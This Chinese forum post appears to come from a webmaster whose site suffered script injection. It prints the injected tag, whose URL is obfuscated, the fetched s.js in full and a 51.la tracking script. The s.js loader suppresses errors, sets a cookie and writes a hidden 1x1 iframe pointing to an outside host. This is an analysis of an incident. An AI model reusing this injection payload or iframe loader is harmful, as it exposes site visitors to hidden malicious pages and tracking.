我们也被注入了 "></title><script src=http://%73%61%79%38%2E%75%73/s.js></script><!--

分别调用了连个JS。。。

s.js 和 1672222.js

http://%73%61%79%38%2E%75%73/s.js =》http://say8.us/s.js 内容为:

document.writeln("<base onmouseover=\"window.status=\'完毕                                                  \';return true\">");

document.writeln("<SCRIPT LANGUAGE=\"JavaScript\"> ");

document.writeln("<!-- Hide ");

document.writeln("function killErrors() { ");

document.writeln("return true; ");

document.writeln("} ");

document.writeln("window.onerror = killErrors; ");

document.writeln("\/\/ --> ");

document.writeln("<\/SCRIPT>");

function Get(){

var Then = new Date() 

Then.setTime(Then.getTime() + 24*60*60*1000)

var cookieString = new String(document.cookie)

var cookieHeader = "Cookie101a2=" 

var beginPosition = cookieString.indexOf(cookieHeader)

if (beginPosition != -1){ 

} else 

{ document.cookie = "Cookie101a2=risb;expires="+ Then.toGMTString()

document.writeln("<IFRaME src=\"http://gm.culhs.com/abc/am7.htm\" width=1 height=1><\/IFRAME>");

document.write("<div style=\"display:none\">");

document.writeln("<script language=\"javascript\" type=\"text\/javascript\" src=\"http:\/\/js.users.51.la\/1672222.js\"><\/script>");



}

}Get();

s.js 里面调用了 51la 里面的 1672222.js 这个统计文件

1672222.js里面的内容为:

document.write ('<a href="http://www.51.la/?1672222" target="_blank">

<img alt="51.la 专业、免费、强健的访问统计" src="http://icon.ajiang.net/icon_0.gif" style="border:none" /></a>n');



// A Popular Free Statistics Service for 100 000+ Webmasters. 

window.onerror=function(){return true};

document.write ('

<script>

	var a2222tf="51la";

	var a2222pu="";

	var a2222pf="51la";

	var a2222su=window.location;

	var a2222sf=document.referrer;

	var a2222of="";

	var a2222op="";

	var a2222ops=1;

	var a2222ot=1;

	var a2222d=new Date();

	var a2222color="";

	if (navigator.appName=="Netscape")

		{a2222color=screen.pixelDepth;} 

	else 

		{a2222color=screen.colorDepth;}

</script>



<script>

	a2222tf=top.document.referrer;

</script>



<script>

	a2222pu =window.parent.location;

</script>



<script>

	a2222pf=window.parent.document.referrer;

</script>



<script>

	a2222ops=document.cookie.match(new RegExp("(^| )AJSTAT_ok_pages=([^;]*)(;|$)"));a2222ops=(a2222ops==null)?1: (parseInt(unescape((a2222ops)[2]))+1);



	var a2222oe =new Date();

	a2222oe.setTime(a2222oe.getTime()+60*60*1000);

	document.cookie="AJSTAT_ok_pages="+a2222ops+";path=/;expires="+a2222oe.toGMTStrin();

	a2222ot=document.cookie.match(new RegExp("(^| )AJSTAT_ok_times=([^;]*)(;|$)"));

	if(a2222ot==null)

		{a2222ot=1;}

	else

		{a2222ot=parseInt(unescape((a2222ot)[2])); 

	a2222ot=(a2222ops==1)?(a2222ot+1):(a2222ot);}

	a2222oe.setTime(a2222oe.getTime()+365*24*60*60*1000);

	document.cookie="AJSTAT_ok_times="+a2222ot+";path=/;expires="+a2222oe.toGMTString();



</script>







<script>

	a2222of=a2222sf;

	if(a2222pf!=="51la")

		{a2222of=a2222pf;}

	if(a2222tf!=="51la")

		{a2222of=a2222tf;}

	a2222op=a2222pu;

	try{lainframe}

	catch(e){a2222op=a2222su;}

	document.write('<img style="width:0px;height:0px" src"http://web.51.la/go.asp?we=A-Free-Service-for-Webmasters&svid=9&id=1672222&tpages='+a2222ops+'&ttimes='+a2222ot+'&tzone='+(0-a2222d.getTimezoneOffset()/60)+'&tcolor='+a2222color+'&sSize='+screen.width+','+screen.height+'&referrer='+escape(a2222of)+'&vpage='+escape(a2222op)+'" />');



</script>





');

文件里面的 http://www.51.la/?1672222 统计的是一个 http://99999.com 网站 9999 ( 统计ID 1672222 ) 的站长 mir163

里面还有一个图标是 http://www.ajiang.net/ 这个网站出来的... 这个网站是做统计的。。

我怀疑。。。其中。。。。